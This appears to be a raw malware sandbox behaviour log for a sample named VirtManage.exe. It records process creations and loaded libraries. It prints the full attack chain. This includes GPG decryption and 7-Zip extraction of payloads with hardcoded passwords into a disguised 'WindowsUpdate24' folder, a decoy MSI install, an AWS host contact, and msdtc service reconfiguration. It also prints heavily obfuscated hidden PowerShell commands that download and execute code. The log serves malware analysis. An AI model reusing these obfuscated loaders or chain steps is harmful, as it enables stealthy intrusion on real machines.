Source: gpg.exe, gpg.exe, 00000004.00000002.1136569800.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000006.00000002.1142919921.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 0000000B.00000002.1196829186.0000000066676000.00000002.00000001.01000000.0000000A.sdmp, gpg.exe, 00000013.00000002.1247125929.0000000066676000.00000002.00000001.01000000.0000000A.sdmpBinary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: create table signatures (binding INTEGER NOT NULL, sig_digest TEXT, origin TEXT, sig_time INTEGER, time INTEGER, primary key (binding, sig_digest, origin));
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: update bindings set effective_policy = %d, conflict = %Q where email = %Q and fingerprint = %Q and effective_policy != %d;
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: select count(*) from sqlite_master where type='table';error reading TOFU database: %s
Source: VirtManage.exe, 00000000.00000003.1103357225.0000000004DF0000.00000004.00001000.00020000.00000000.sdmp, gpg.exe, 00000002.00000000.1126133473.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000004.00000000.1133099419.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000006.00000002.1141383567.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 0000000B.00000000.1192431295.00000000004FA000.00000002.00000001.01000000.00000006.sdmp, gpg.exe, 00000013.00000000.1233716876.00000000004FA000.00000002.00000001.01000000.00000006.sdmpBinary or memory string: update bindings set effective_policy = ? where fingerprint = ?;
Source: gpg.exeString found in binary or memory: full-help
Source: gpg.exeString found in binary or memory: i386/mpih-add1.S:i386/mpih-sub1.S:i386/mpih-mul1.S:i386/mpih-mul2.S:i386/mpih-mul3.S:i386/mpih-lshift.S:i386/mpih-rshift.S
Source: gpg.exeString found in binary or memory: full-help
Source: C:\Users\user\Desktop\VirtManage.exeFile read: C:\Users\user\Desktop\VirtManage.exeJump to behavior
Source: unknownProcess created: C:\Users\user\Desktop\VirtManage.exe "C:\Users\user\Desktop\VirtManage.exe"
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\5FILE.1A.gpg
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\7za.dll --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\1FILE.1A.gpg
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\2FILE.1A.gpg
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\msiexec.exe msiexec.exe /i "C:\ProgramData\Microsoft\WindowsUpdate24\RVTools.msi"
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\Windows\System32\msiexec.exe C:\Windows\system32\msiexec.exe /V
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\w32tm.exe w32tm /monitor /computers:ec2-52-14-160-176.us-east-2.compute.amazonaws.com
Source: C:\Windows\SysWOW64\w32tm.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding B61671EC3A9141499D2D4B948D7A1ADD C
Source: C:\Windows\SysWOW64\w32tm.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /monitor /computers:ec2-52-14-160-176.us-east-2.compute.amazonaws.com
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\4FILE.1A.gpg
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc start= demand
Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc obj= "LocalSystem"
Source: C:\Windows\SysWOW64\sc.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\msiexec.exeProcess created: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe C:\Windows\sysWOW64\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknownProcess created: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exe "C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exe"
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/gO $('C:\Pro'+'gramData\Mic'+'roso'+'ft\LogUp'+'dateWi'+'ndows\Wiaph'+'oh7um.t');Set-Item Variable:/fH 'Net.WebClient';dir ect*;SV BO (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where{(Get-ChildItem Variable:\_).Value.Name-like'*dl*ts'}).Name).Invoke('Ne*ct')(Variable fH -Value));SI Variable:2Rn ((((Get-ChildItem Variable:/BO).Value|GM)|Where{(Get-ChildItem Variable:\_).Value.Name-like'*nl*g'}).Name);Invoke-Command(($ExecutionContext|ForEach{(Get-ChildItem Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{(GCI Variable:\_).Value.NewScriptBlock((Get-ChildItem Variable:/BO).Value.((Item Variable:/2Rn).Value).Invoke((GI Variable:/gO).Value))}}))"
Source: C:\Windows\SysWOW64\w32tm.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA2F.tmp" "c:\Users\user\AppData\Local\Temp\r5i403kd\CSC384ED8B1DBB445E685393158270EAB0.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\5FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\7za.dll --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\1FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\2FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z -pJerx#sdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\tools.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\5FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\w32tm.exe w32tm /monitor /computers:ec2-52-14-160-176.us-east-2.compute.amazonaws.comJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exe --passphrase "12345678" --batch --yes --output C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z --decrypt C:\ProgramData\Microsoft\WindowsUpdate24\4FILE.1A.gpgJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exe C:\ProgramData\Microsoft\WindowsUpdate24\7za x C:\ProgramData\Microsoft\WindowsUpdate24\UpdateFull.7z -pTG98HJerxsdqWE45 -oC:\ProgramData\Microsoft\WindowsUpdate24Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc start= demandJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\Windows\SysWOW64\sc.exe sc config msdtc obj= "LocalSystem"Jump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeProcess created: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exe C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeJump to behavior
Source: C:\Windows\System32\msiexec.exeProcess created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding B61671EC3A9141499D2D4B948D7A1ADD CJump to behavior
Source: C:\Windows\SysWOW64\w32tm.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /monitor /computers:ec2-52-14-160-176.us-east-2.compute.amazonaws.comJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/E $('C:\Progra'+'mData\Mic'+'rosoft\Wind'+'owsUpdate24\kau'+'tix2ae'+'X.t');popd;Set-Variable X (.(Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*mma*d'}).Name).Invoke((Item Variable:*xec*t).Value.InvokeCommand.(((Item Variable:*xec*t).Value.InvokeCommand|Get-Member|Where-Object{(LS Variable:\_).Value.Name-like'*dName'}).Name).Invoke('*w-*ct',1,1),[Management.Automation.CommandTypes]::Cmdlet)Net.WebClient);(Get-ChildItem Variable:\X).Value.((((Get-ChildItem Variable:\X).Value|Get-Member)|Where-Object{(LS Variable:\_).Value.Name-like'*nl*g'}).Name).Invoke((GCI Variable:\E).Value)|.( ([String]''.Normalize)[77,35,46]-Join'')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\r5i403kd\r5i403kd.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\whoami.exe "C:\Windows\system32\whoami.exe"
Source: C:\ProgramData\Microsoft\LogUpdateWindows\oleview.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle Hidden -command "SI Variable:/gO $('C:\Pro'+'gramData\Mic'+'roso'+'ft\LogUp'+'dateWi'+'ndows\Wiaph'+'oh7um.t');Set-Item Variable:/fH 'Net.WebClient';dir ect*;SV BO (.$ExecutionContext.(($ExecutionContext|GM)[6].Name).(($ExecutionContext.(($ExecutionContext|GM)[6].Name).PsObject.Methods|Where{(Get-ChildItem Variable:\_).Value.Name-like'*dl*ts'}).Name).Invoke('Ne*ct')(Variable fH -Value));SI Variable:2Rn ((((Get-ChildItem Variable:/BO).Value|GM)|Where{(Get-ChildItem Variable:\_).Value.Name-like'*nl*g'}).Name);Invoke-Command(($ExecutionContext|ForEach{(Get-ChildItem Variable:\_).Value.(($ExecutionContext|GM)[6].Name)|ForEach{(GCI Variable:\_).Value.NewScriptBlock((Get-ChildItem Variable:/BO).Value.((Item Variable:/2Rn).Value).Invoke((GI Variable:/gO).Value))}}))"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESEA2F.tmp" "c:\Users\user\AppData\Local\Temp\r5i403kd\CSC384ED8B1DBB445E685393158270EAB0.TMP"
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wldp.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: riched20.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: usp10.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: msls31.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: dui70.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: duser.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: chartv.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: atlthunk.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: wtsapi32.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: winsta.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: windows.staterepositoryps.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: windows.fileexplorer.common.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: iertutil.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: profapi.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: linkinfo.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: ntshrui.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: sspicli.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: srvcli.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: cscapi.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: explorerframe.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: explorerframe.dllJump to behavior
Source: C:\Users\user\Desktop\VirtManage.exeSection loaded: explorerframe.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libassuan-9.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgcrypt-20.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libnpth-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libsqlite3-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: zlib1.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: libgpg-error-0.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: wldp.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\gpg.exeSection loaded: profapi.dllJump to behavior
Source: C:\ProgramData\Microsoft\WindowsUpdate24\7za.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: aclayers.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: mpr.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: sfc_os.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: srpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: textinputframework.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coreuicomponents.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: coremessaging.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wintypes.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: propsys.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: textshaping.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: wkscli.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: netutils.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: msisip.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: cryptnet.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\msiexec.exeSection loaded: version.dllJump to behavior
